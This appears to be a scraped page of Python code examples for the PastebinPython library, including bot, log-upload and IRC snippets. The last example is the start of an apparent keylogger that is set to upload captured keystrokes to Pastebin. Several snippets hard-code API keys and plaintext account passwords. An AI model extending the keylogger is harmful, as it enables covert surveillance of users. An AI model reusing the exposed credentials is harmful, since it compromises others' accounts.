def publish_summary_tweet():
    """
    Publish the summary tweet
    """

    # Create the pastebin content
    paste_content = "Detected Twitter p**n bots by @PornBotHunter:"
    for name in pseudos:
        paste_content = paste_content + "\n@" + name

    # Pastebin client
    pbin = PastebinPython(api_dev_key=PASTEBIN_DEV_KEY)

    try:
        pbin.createAPIUserKey('', '')
        now = datetime.datetime.now()
        url = pbin.createPaste(
            paste_content, 'Detected bots by @PornBotHunter ' + str(now.day) +
            "/" + str(now.month) + "/" + str(now.year), FORMAT_NONE,
            PASTE_PUBLIC, EXPIRE_NEVER)

        message = "Currently, @PornBotHunter detected " + str(len(pseudos)) + " #Twitter #p**n #bots." \
                                                                              " Detailed list is available here: " + url
        api.update_status(message)
    except PastebinBadRequestException as e:
        print e
    except PastebinFileException as e:
        print e
 def _createTimeline(self):
     dvid = self._lastRaidlog.get('dvid')
     kisses = self._lastRaidlog.get('dread', {}).get('kisses', "?")
     if dvid is None:
         return
     shortNames = self._getShortenedNames(self._lastRaidlog['events'])
     header = self._timelineHeader(self._lastRaidlog['events'], shortNames)
     timeline = self._eventTimeline(self._lastRaidlog['events'], shortNames)
     body = self._timelineString(timeline)
     pbin = PastebinPython(api_dev_key=self._apikey)
     try:
         result = pbin.createPaste(header + body,
                                   api_paste_format=FORMAT_NONE,
                                   api_paste_private=PASTE_PUBLIC,
                                   api_paste_expire_date=EXPIRE_1_MONTH)
         resultError = re.search(r'https?://', result) is None
         self._pastes[str(dvid)] = {
             'url': result,
             'time': time.time(),
             'dvid': dvid,
             'error': resultError,
             'kisses': kisses
         }
         if resultError:
             self.log("Error with timeline: {}".format(result))
     except (PastebinBadRequestException, PastebinFileException,
             PastebinNoPastesException) as e:
         self._pastes[str(dvid)] = {
             'url': e.message,
             'time': time.time(),
             'dvid': dvid,
             'error': True,
             'kisses': kisses
         }
         self.log("Error with timeline: {}".format(e.message))
Example #3
0
 def publish(self):
     content = self.contentArea.get('1.0',END)
     pbin = PastebinPython(api_dev_key=API_KEY)
     try:
         url = pbin.createPaste(content, self.title.get(), FORMAT_NONE, PASTE_PUBLIC, EXPIRE_1_MONTH)
         tkMessageBox.showinfo('URL saved to clipboard', url)
         self.root.clipboard_clear()
         self.root.clipboard_append(url)
     except PastebinBadRequestException as e:
         print e.message
     except PastebinFileException as e:
         print e.message
Example #4
0
 def publish(self):
     content = self.contentArea.get('1.0', END)
     pbin = PastebinPython(api_dev_key=API_KEY)
     try:
         url = pbin.createPaste(content, self.title.get(), FORMAT_NONE,
                                PASTE_PUBLIC, EXPIRE_1_MONTH)
         tkMessageBox.showinfo('URL saved to clipboard', url)
         self.root.clipboard_clear()
         self.root.clipboard_append(url)
     except PastebinBadRequestException as e:
         print e.message
     except PastebinFileException as e:
         print e.message
Example #5
0
        cleanup(input_file_name)
        cleanup(output_file_name)

if __name__ == '__main__':
        worker()
        if len(sys.argv) == 2:
            filename = 'test1.jpeg'
            try:
                image = Image.open(filename)
            except IOError:
                sys.stderr.write('ERROR: Could not open file "%s"\n' % filename)
                exit(1)
            returnString = image_to_string(image)
            finalresult =  getDictionaryWords(returnString)
            print getDictionaryWords(returnString)
            pbin = PastebinPython(api_dev_key='3e732a377fe2a5dd72c73afd1bed2949')
            try:
                pbin.createAPIUserKey('hackmit','hackmit')
                print pbin.createPaste(finalresult, 'Looking glass...', FORMAT_HTML, PASTE_PUBLIC, EXPIRE_10_MIN)
            except PastebinBadRequestException as e:
                print e.message
            except PastebinFileException as e:
                print e.message
        elif len(sys.argv) == 4 and sys.argv[1] == '-l':
            lang = sys.argv[2]
            filename = sys.argv[3]
            try:
                image = Image.open(filename)
            except IOError:
                sys.stderr.write('ERROR: Could not open file "%s"\n' % filename)
                exit(1)
Example #6
0
import subprocess
from pastebin_python import PastebinPython
from pastebin_python.pastebin_formats import FORMAT_NONE
from pastebin_python.pastebin_constants import PASTE_PRIVATE, EXPIRE_NEVER

process = subprocess.Popen(["smartctl", "-a", "/dev/sdb"], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out1, err1 = process.communicate()

process = subprocess.Popen(["smartctl", "-a", "/dev/sdc"], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out2, err2 = process.communicate()

pbin = PastebinPython(api_dev_key="037932354285225f0776a6ac71d04635")
output = out1 + "\n\n" + out2

try:
    print pbin.createAPIUserKey("n1c0la84", "6g0HDKm0")
    print pbin.createPaste(output, "SMART DISKS TEST", FORMAT_NONE, PASTE_PRIVATE, EXPIRE_NEVER)
except Exception as e:
    print e
Example #7
0
def _pasteLog(logName='kodi.log'):
    import os
    import re
    import xbmc
    import xbmcgui
    from pastebin_python import PastebinPython

    logPath = os.path.join(xbmc.translatePath('special://logpath').decode('utf-8'), logName)

    if not os.path.exists(logPath):
        xbmcgui.Dialog().ok(T(32570, 'No Log'), ' ', T(32571, 'That log file does not exist!'))
        return False

    def debug_log(msg):
        kodiutil.DEBUG_LOG('PASTEBIN: {0}'.format(msg))

    replaces = (
        ('//.+?:.+?@', '//USER:PASSWORD@'),
        ('<user>.+?</user>', '<user>USER</user>'),
        ('<pass>.+?</pass>', '<pass>PASSWORD</pass>'),
    )

    apiUserKeyFile = os.path.join(kodiutil.PROFILE_PATH, 'settings.pb.key')
    apiUserKey = ''
    if os.path.exists(apiUserKeyFile):
        with open(apiUserKeyFile, 'r') as f:
            apiUserKey = f.read() or ''

    pb = PastebinPython(api_dev_key=kodiutil.getPeanutButter(), api_user_key=apiUserKey)

    apiUser = kodiutil.getSetting('pastebin.user')
    if apiUser and not apiUserKey:
        debug_log('Username set, asking user for password')
        password = xbmcgui.Dialog().input(
            T(32572, 'Enter Pastebin password (only needed 1st time - NOT stored)'),
            '',
            xbmcgui.INPUT_ALPHANUM,
            xbmcgui.ALPHANUM_HIDE_INPUT
        )
        if password:
            debug_log('Getting API user key')
            apiUserKey = pb.createAPIUserKey(apiUser, password)
            if apiUserKey.lower().startswith('bad'):
                xbmcgui.Dialog().ok(T(32573, 'Failed'), u'{0}: {1}'.format(T(32574, 'Failed to create paste as user'), apiUser), '', apiUserKey)
                debug_log('Failed get user API key ({0}): {1}'.format(apiUser, apiUserKey))
            else:
                with open(apiUserKeyFile, 'w') as f:
                    f.write(apiUserKey)
        else:
            debug_log('User aborted')
            xbmcgui.Dialog().ok(T(32575, 'Aborted'), ' ', T(32576, 'Paste aborted!'))
            return False

    elif apiUserKey:
        debug_log('Creating paste with stored API key')

    with kodiutil.Progress('Pastebin', T(32577, 'Creating paste...')):
        with open(logPath, 'r') as f:
            content = f.read().decode('utf-8')
            for pattern, repl in replaces:
                content = re.sub(pattern, repl, content)
            urlOrError = pb.createPaste(content, 'Kodi CV LOG: {0}'.format(logName), api_paste_private=1, api_paste_expire_date='1W')

    showQR = False
    if urlOrError.startswith('http'):
        showQR = xbmcgui.Dialog().yesno(
            T(32515, 'Done'),
            T(32578, 'Paste created at:'),
            '',
            urlOrError,
            T(32579, 'OK'),
            T(32580, 'Show QR Code')
        )
        debug_log('Paste created: {0}'.format(urlOrError))
    else:
        xbmcgui.Dialog().ok(T(32573, 'Failed'), T(32581, 'Failed to create paste:'), '', urlOrError)
        debug_log('Failed to create paste: {0}'.format(urlOrError))

    if showQR:
        showQRCode(urlOrError)

    return True
Example #8
0
	def GetResponse(self, message):
		if message.Type == "PRIVMSG" and message.Command == "headcanon":
			filename = "data/data.db"
			headcanon = []
			with sqlite3.connect(filename) as conn:
                                c = conn.cursor()
                                for row in c.execute("SELECT * FROM headcanon"):
                                        headcanon.append(row[0])
		
			if len(message.ParameterList) == 0:
				return IRCResponse(ResponseType.Say, self.Help, message.ReplyTo)
			
			subCommand = message.ParameterList[0]
			if subCommand.lower() == "help":
				try:
					helpCmd = message.ParameterList[1]
					if helpCmd not in subCommands:
						returnString = "Headcanon functions: {}".format(", ".join(subCommands))
						returnString += "\nSyntax is: "
						returnString += GlobalVars.CommandChar
						returnString += "headcanon help <command>"
					elif helpCmd == "add":
						returnString = GlobalVars.CommandChar + "headcanon add <string> - used to add lines to headcanon."
					elif helpCmd == "search":
						returnString = GlobalVars.CommandChar + "headcanon search <string> - used to search within the headcanon."
					elif helpCmd == "list":
						returnString = GlobalVars.CommandChar + "headcanon list - posts a list of all headcanon entires to pastebin"
					elif helpCmd == "remove":
						returnString = GlobalVars.CommandChar + "headcanon remove <string> - used to remove lines to the headcanon."
				except:
					returnString = "Headcanon functions: {}".format(", ".join(subCommands))
					returnString += "\nSyntax is: "
					returnString += GlobalVars.CommandChar
					returnString += "headcanon help <command>"
				return IRCResponse(ResponseType.Say, returnString, message.ReplyTo)
			
			elif subCommand.lower() == "add" and message.User.Name in GlobalVars.admins:
				if len(message.ParameterList) == 1:
					return IRCResponse(ResponseType.Say, "Maybe you should read the help text?", message.ReplyTo)
				addString = ""
				for word in message.ParameterList[1:]:
					addString = addString + word + " "
				headcanon.append(addString)
				with sqlite3.connect(filename) as conn:
                                        c = conn.cursor()
                                        c.execute("INSERT INTO headcanon VALUES (?)", (addString,))
                                        conn.commit()
				return IRCResponse(ResponseType.Say, "Successfully added line!", message.ReplyTo)
				
			elif subCommand.lower() == "search":
				returnString = "Search term not found in database!"
				try:
					hc = headcanon
					random.shuffle(hc)
					re_string = "{}".format(" ".join(message.ParameterList[1:]))
					for canon in hc:
						match = re.search(re_string, canon, re.IGNORECASE)
						if match:
							returnString = match.string
							break
					return IRCResponse(ResponseType.Say, returnString, message.ReplyTo)
				except:
					return IRCResponse(ResponseType.Say, returnString, message.ReplyTo)
				
			elif subCommand.lower() == "list":
                                pbin = PastebinPython(api_dev_key='cef9f4fcc03a220f47fcef895abe4cc1')
				pasteBinString = ""
				if len(headcanon) == 0:
					return IRCResponse(ResponseType.Say, "The database is empty! D:", message.ReplyTo)
				else:
					for item in headcanon:
						pasteBinString = pasteBinString + item + "\n"
					try:
						pbin.createAPIUserKey("HubbeKing", "hgllabf2142")
						pasteBinStr = pbin.createPaste(pasteBinString, "headcanon", "text", 1, "10M")
						#pasteBinUrl = self.ShortenGoogl(pasteBinStr)
						return IRCResponse(ResponseType.Say, "Link posted! (Expires in 10 minutes) " + pasteBinStr, message.ReplyTo)
					except Exception:
                                                print "Python Execution Error in '%s': %s" % ("headcanon", str( sys.exc_info() ))
                                                traceback.print_tb(sys.exc_info()[2])
						return IRCResponse(ResponseType.Say, "Uh-oh, something broke!", message.ReplyTo)
						
			elif subCommand.lower() == "remove" and message.User.Name in GlobalVars.admins:
				try:
					re_string = "{}".format(" ".join(message.ParameterList[1:]))
					for canon in headcanon:
						match = re.search(re_string, canon, re.IGNORECASE)
						if match:
							headcanon.remove(match.string)
							with sqlite3.connect(filename) as conn:
                                                                c = conn.cursor()
                                                                c.execute("DELETE FROM headcanon WHERE canon=?", (match.string,))
                                                                conn.commit()
							return IRCResponse(ResponseType.Say, 'Removed "' + match.string + '"', message.ReplyTo)
					return IRCResponse(ResponseType.Say, '"' + match.string + '"was not found!', message.ReplyTo)
				except Exception:
                                        print "Python Execution Error in '%s': %s" % ("headcanon", str( sys.exc_info() ))
                                        traceback.print_tb(sys.exc_info()[2])
					return IRCReponse(ResponseType.Say, "Something broke!", message.ReplyTo)
Example #9
0
from ctypes import *
from zipfile import *
from pyupload.uploader import * # Setup for this lib appears compatible with Py2 
from datetime import datetime as dt

from pastebin_python import PastebinPython
from pastebin_python.pastebin_exceptions import *
from pastebin_python.pastebin_constants import *
from pastebin_python.pastebin_formats import *

Debug = False
DBG   = False
VM    = False

pbin  = PastebinPython(api_dev_key='feab72ec4bfa99b4e7b611055c7e970d') # Throwaway key

name     = sys.argv[0]
location = os.abspath(name)

"""
We prepare a keymap to utilize with the
ctypes module in order to log keystrokes
"""
VKStr = {}
VKStr[0x01] = "LEFT_MOUSEE"
VKStr[0x02] = "RIGHT_MOUSE"
VKStr[0x03] = "MIDDLE_MOUSE"
VKStr[0x08] = "BACKSPACE"
VKStr[0x09] = "TAB"
VKStr[0x0D] = "ENTER"